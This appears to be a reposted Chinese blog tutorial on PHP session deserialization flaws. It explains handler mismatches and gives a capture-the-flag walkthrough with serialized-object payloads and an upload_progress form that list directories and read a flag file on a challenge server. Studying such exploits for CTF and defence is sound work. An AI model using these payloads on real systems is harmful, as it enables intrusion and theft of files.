1. 程式人生 > 實用技巧 >php Session反序列化漏洞

php Session反序列化漏洞

@

目錄

PHP Session 序列化及反序列化處理器

PHP 內建了多種處理器用於存取 $_SESSION 資料時會對資料進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式:

有關session的配置

session.save_path="" --設定session的儲存路徑
session.save_handler=""--設定使用者自定義儲存函式,如果想使用PHP內建會話儲存機制之外的可以使用本函式(資料庫等方式)
session.auto_start boolen--指定會話模組是否在請求開始時啟動一個會話預設為0不啟動
session.serialize_handler string--定義用來序列化/反序列化的處理器名字。預設使用php

程式碼裡面臨時設定:

ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();

php

<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['test123'] = "123456";
?>
tmp.php: test123|s:6:"123456";

php_binary

<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['test123'] = "123456";
?>

tmp.php

php_serialize

<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['test123'] = "123456";
?>

tmp.php: a:1:{s:7:"test123";s:6:"123456";}

session序列化與反序列化

由於以上三種序列化與反序列化處理器進行反序列化操作時的差異,所以程式設計師開發不當就可能造成安全漏洞

利用

session.auto_start=On

session.auto_start引數會在指令碼執行前會自動註冊Session會話,所以在指令碼中設定的php.ini中(序列化處理器\session)相關引數是無效的
所以需要先銷燬註冊的session,然後設定處理器,再呼叫session_start()註冊session

  1. index.php
<?php
//檢測是否開啟自動註冊會話
if (ini_get('session.auto_start')) {
    session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
  1. evil.php
<?php 
ini_set('session.save_path','./tmp');
session_start();
class test{
    public $hi;
    function __wakeup(){
    	phpinfo();
    }
}

構造

$a = new test();
$a->hi = "hello";
echo serialize($a);
//O:4:"test":1:{s:2:"hi";s:5:"hello";}

傳入index.php?a=|O:4:"test":1:{s:2:"hi";s:5:"hello";}
再訪問evil.php

說明:

  • index.php中接收引數a後將其序列化儲存在session檔案中

    然後系統預設的handler為php

    所以在訪問evil.php時,系統會自動用php處理器反序列化session檔案中的內容.
    而且反序列化的部分為|之後的部分即

    觸發危險函式,然後執行phpinfo();

這裡存在一點,php反序列化的時候只會尋找有效部分
如:

session.auto_start=Off

這種其實和上面那個差不多
直接l3m0n師傅部落格裡面的例子:
foo1.php:

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

構造 index.php?a=|O:5:"lemon":1:{s:2:"hi";s:6:"lonmar";}
再訪問foo2.php

沒有$_SESSION變數賦值

php中存在一個upload_process機制,這個功能常用於在檔案上傳的過程中利用session實時返回上傳的進度

使用這個功能首先要有個前提:session.upload_progress.enabled設為On
為了方便測試,可以關閉它的自動清理session檔案的功能:session.upload_progress.cleanup = Off

通過一道題目學習:http://web.jarvisoj.com:32784/

開啟題目即可獲得原始碼:

隨便傳入引數獲得phpinfo資訊,可以檢視兩個關鍵的session配置

很顯然可以構造程式碼:

class OowoO
{
    public $mdzz = payload;
}
$a = new OowoO;
echo serialize($a);

來執行任意的payload
但是沒有明顯的輸入點,
所以可以通過upload_process來輸入
基本思路就是上傳檔案並post一個引數session.upload_process.name
後端會自動將POST的這個同名變數作為鍵進行序列化然後儲存到session檔案中。下次請求就會反序列化session檔案,從中取出這個鍵
所以構造表單:
test.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>


payload就參考別的師傅的:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}


幾點說明:

  1. 必須有上傳一個引數,名是PHP_SESSION_UPLOAD_PROGRESS,值可以任意
  2. payload在filename裡面

http報文中的filename的值對應$_SESSION[‘upload_progress_laruence’][‘files’][0][‘name’]
http報文中的name的值對應
$_SESSION[‘upload_progress_laruence’][‘files’][0][‘filed_name’]
這兩處都可以實現攻擊。

通過這道題目可以很好了解 upload_process 利用方式

參考
https://blog.csdn.net/csdn583724/article/details/88735607
https://xz.aliyun.com/t/7366#toc-0
https://zhuanlan.zhihu.com/p/90879209
https://www.cnblogs.com/litlife/p/10748506.html
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html